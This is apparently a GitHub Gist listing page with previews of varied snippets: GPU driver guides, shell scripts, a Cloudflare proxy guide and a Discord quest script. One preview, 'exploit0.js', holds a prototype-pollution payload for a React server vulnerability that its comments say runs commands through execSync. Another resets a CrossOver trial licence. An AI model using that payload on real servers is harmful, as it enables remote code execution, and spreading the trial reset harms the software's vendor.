Skip to content

Instantly share code, notes, and snippets.

@aamiaa
aamiaa / CompleteDiscordQuest.md
Last active December 23, 2025 11:57
Complete Recent Discord Quest

Complete Recent Discord Quest

Note

This does not works in browser for quests which require you to play a game! Use the desktop app to complete those.

How to use this script:

  1. Accept a quest under Discover -> Quests
  2. Press Ctrl+Shift+I to open DevTools
  3. Go to the Console tab
  4. Paste the following code and hit enter:
@LaurieWired
LaurieWired / heisenbug.cpp
Created December 22, 2025 19:45
Heisenbug Demo
#include <iostream>
#include <vector>
#include <string>
#include <iomanip>
// example sbox, typical in ciphers
const uint8_t S_BOX[16] = {
0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5,
0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76
};
@armamini
armamini / README.md
Last active December 23, 2025 11:57
Implement a reliable connection over Websocket via Cloudflare Workers

ساخت با Cloudflare Workers

این راهنما به شما کمک می‌کند تا بدون هزینه و سرور مجازی، یک فیلترشکن شخصی با سرعت بالا و پینگ مناسب روی زیرساخت کلادفلر بسازید. (V2Ray over Websocket)


📋 پیش‌نیازها

  1. اکانت Cloudflare: نیاز به یک ایمیل موقت دارید.
  2. کد اسکریپت: کدی که باید در ورکر قرار دهید (موجود در فایل‌های این مخزن).
  3. UUID: یک کد یکتا که به عنوان رمز عبور عمل می‌کند.
@augustin-laurent
augustin-laurent / rocm_arch_guide.md
Last active December 23, 2025 11:53
ROCm Installation guide on Arch
Date of the guide : September, 2025

Introduction

In this post, I will provide the solution that worked on my system on how to install Radeon Open Compute (ROCm) on Arch (linux-6.6.7.arch1-1) for RX 6900 XT (Should work on other 6000 series). ROCm is an open-source software platform that allows GPU-accelerated computation. This tool is a prerequist to use GPU Acceleration on TensorFlow or PyTorch. In this guide I will use Paru as my AUR package helper, feel free to use any other (https://wiki.archlinux.org/title/AUR_helpers). I will assume you have a working operating system and know what you do with it (Otherwise Arch will be painfull for you).

@robzolkos
robzolkos / generate_image.sh
Created December 10, 2025 23:47
Command line script to generate an image from Replicate using the Nano Banana Pro model
#!/bin/bash
# Generate an image from a text prompt using Replicate API
# Usage: ./generate_image.sh "paris in the spring"
# Make sure to put the REPLICATE_API_TOKEN in your .env or environment
set -e
# Load .env file if it exists (check script dir, then current dir)
@danielrosehill
danielrosehill / amd-gpu-linux-troubleshooting-guide.md
Created November 23, 2025 16:08
A Dummy's Guide to AMD GPU Issues on Linux - Understanding RDNA3, TLB Fences, and Kernel Parameters
@qguv
qguv / vscode-wayland.md
Last active December 23, 2025 11:43
Visual Studio Code: Enable native Wayland support

Native wayland support is now working consistently for me in VSCode, giving much better text rendering. Unfortunately, it's still hidden behind some command-line flags.

By adding some files to /usr/local/*, you can ensure that VSCode always launches with these flags.

Adding launch flags to VSCode

Assuming that the VSCode launcher is /usr/bin/code-oss (as is the case in Arch):

  1. Create /usr/local/bin/code-oss with the following content:
@mertemr
mertemr / cleanup.ps1
Created December 23, 2025 11:42
Cleanup artifacts from a github organization with Bash/PowerShell script
$ORG = "your-org-name"
Write-Host "🔍 Listing all repositories in $ORG organization..." -ForegroundColor Cyan
$reposOutput = gh repo list $ORG --limit 1000 --json nameWithOwner -q '.[].nameWithOwner'
if (-not $reposOutput) {
Write-Host "❌ No repositories found or access error" -ForegroundColor Red
exit 1
}
@akshaymarch7
akshaymarch7 / exploit0.js
Created December 16, 2025 04:59
React Critical Vulnerability (CVSS 10.0) - exploit0 code
(async () => {
// === CONFIGURATION ===
const targetUrl = "/namaste"; // The endpoint to hit (relative to current domain)
console.log(`[*] Attempting to run command: ${cmd}`);
// 1. Construct the malicious payload
// This injects the command into a child_process.execSync call and throws the result in an error digest
const payloadJson = `{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"console.log('meowmeow')//","_formData":{"get":"$1:constructor:constructor"}}}`;
@repsejnworb
repsejnworb / CrossOverLicence.sh
Last active December 23, 2025 11:35
unlimited CrossOver 24 trial (MacOS)
#!/bin/sh
# Variables
FOLDER_NAME="CrossOverLicence"
PLIST_NAME="com.codeweavers.CrossOver.license.plist"
BOTTLES_PATH="$HOME/Library/Application Support/CrossOver/Bottles"
SCRIPT_URL="https://gist.githubusercontent.com/repsejnworb/84d3e0852cf90ef40edf7e9c060f193b/raw/CrossOverLicence.sh?token=$(date +%s)"
TOTAL_STEPS=3
STEP=0